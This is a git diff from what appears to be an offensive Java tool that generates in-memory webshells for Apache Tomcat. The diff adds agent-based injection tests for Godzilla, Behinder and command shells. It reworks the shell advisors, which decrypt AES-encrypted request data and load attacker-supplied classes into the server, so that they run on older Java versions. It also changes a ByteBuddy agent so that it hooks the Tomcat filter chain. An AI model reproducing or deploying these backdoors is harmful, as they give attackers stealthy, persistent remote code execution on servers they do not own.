diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index a1ac89ae..8be7cf0a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +35,8 @@ public class Tomcat5ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -64,7 +65,10 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar) +// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), +// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -78,6 +82,6 @@ public class Tomcat5ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 5e77b286..00c0f31b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -18,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.tomcatPid; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Tomcat6ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -64,7 +66,10 @@ public class Tomcat6ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -78,6 +83,6 @@ public class Tomcat6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index ea391bc1..e4fc2eb2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -18,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.tomcatPid; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Tomcat7ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -64,7 +66,10 @@ public class Tomcat7ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -77,6 +82,6 @@ public class Tomcat7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container); } } \ No newline at end of file diff --git a/memshell/build.gradle b/memshell/build.gradle index d854b0c3..067c246d 100644 --- a/memshell/build.gradle +++ b/memshell/build.gradle @@ -15,6 +15,7 @@ java { } dependencies { + implementation 'net.bytebuddy:byte-buddy:1.+' providedCompile 'javax.servlet:javax.servlet-api:3.0.1' providedCompile 'javax.websocket:javax.websocket-api:1.1' } \ No newline at end of file diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java similarity index 76% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java index e8eff4d8..a937f560 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java @@ -11,7 +11,6 @@ import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.Base64; import java.util.HashMap; import java.util.Map; @@ -55,7 +54,19 @@ public class TomcatFilterChainBehinderAdvisor { session.setAttribute("u", pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(Base64.getDecoder().decode(req.getReader().readLine())); + byte[] data = null; + Class base64; + String parameter = req.getReader().readLine(); + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + byte[] bytes = c.doFinal(data); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length); diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java similarity index 100% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java similarity index 66% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java index a7492aa2..dbfdf879 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java @@ -11,7 +11,6 @@ import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; import java.lang.reflect.Method; -import java.util.Base64; /** * @author ReaJason @@ -37,7 +36,17 @@ public class TomcatFilterChainGodzillaAdvisor { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { HttpSession session = request.getSession(); String parameter = request.getParameter(pass); - byte[] data = Base64.getDecoder().decode(parameter); + byte[] data = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } Cipher c = Cipher.getInstance("AES"); SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); c.init(2, keySpec); @@ -58,7 +67,16 @@ public class TomcatFilterChainGodzillaAdvisor { c.init(1, keySpec); byte[] encryptBytes = c.doFinal(arrOut.toByteArray()); - String value = Base64.getEncoder().encodeToString(encryptBytes); + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes); + } response.getWriter().write(value); response.getWriter().write(md5.substring(16)); } diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java similarity index 58% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java index d2b0715a..a69a13f0 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java @@ -2,9 +2,13 @@ package com.reajason.javaweb.memshell.tomcat.injector; import net.bytebuddy.agent.builder.AgentBuilder; import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; import static net.bytebuddy.matcher.ElementMatchers.named; @@ -12,7 +16,25 @@ import static net.bytebuddy.matcher.ElementMatchers.named; * @author ReaJason * @since 2024/12/28 */ -public class TomcatFilterChainAgentInjector { +public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("doFilter"))); + } public static void premain(String args, Instrumentation inst) throws Exception { launch(inst); @@ -28,18 +50,13 @@ public class TomcatFilterChainAgentInjector { private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - Class interceptorClass = Class.forName(getClassName()); new AgentBuilder.Default() .ignore(ElementMatchers.none()) .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) // .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) // .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) .type(named("org.apache.catalina.core.ApplicationFilterChain")) - .transform( - (builder, typeDescription, classLoader, - module, protectionDomain) -> - builder.visit(Advice.to(interceptorClass).on(named("doFilter"))) - ) + .transform(new TomcatFilterChainAgentInjector()) .installOn(inst); System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); } diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index deea9443..86214079 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -1,14 +1,4 @@ import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx"; -import { - AlertDialog, - AlertDialogAction, - AlertDialogCancel, - AlertDialogContent, - AlertDialogDescription, - AlertDialogFooter, - AlertDialogHeader, - AlertDialogTitle, -} from "@/components/ui/alert-dialog"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx"; import { Input } from "@/components/ui/input.tsx"; @@ -44,8 +34,6 @@ export function MainConfigCard({ const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>(); const [shellTools, setShellTools] = useState([]); const [shellTypes, setShellTypes] = useState([]); - const [openAgentConfirm, setOpenAgentConfirm] = useState(false); - const [currentShellType, setCurrentShellType] = useState(""); const handleServerChange = (value: string) => { if (mainConfig) { @@ -247,39 +235,7 @@ export function MainConfigCard({ render={({ field }) => ( 内存马挂载类型 - - - - Agent 注入当前仅支持 Java8 以上,是否仍要选择? - 确认后会将 JRE 版本改为 Java8 - - - Cancel - { - form.setValue("targetJdkVersion", "52"); - form.setValue("shellType", currentShellType); - }} - > - Confirm - - - - - diff --git a/web/src/routes/index.tsx b/web/src/routes/index.tsx index 1647b2f3..667aeed1 100644 --- a/web/src/routes/index.tsx +++ b/web/src/routes/index.tsx @@ -81,11 +81,6 @@ function IndexComponent() { return false; } - if (values.shellType.startsWith("Agent") && values.targetJdkVersion === "50") { - toast.warning("Agent 注入方式当前仅支持 Java8 以上"); - return false; - } - if (!values.shellType.startsWith("Agent") && values.packingMethod === "AgentJar") { toast.warning("Agent 注入方式当前仅支持 Tomcat,只有 Agent 注入方式才可使用 AgentJar 打包方式"); return false;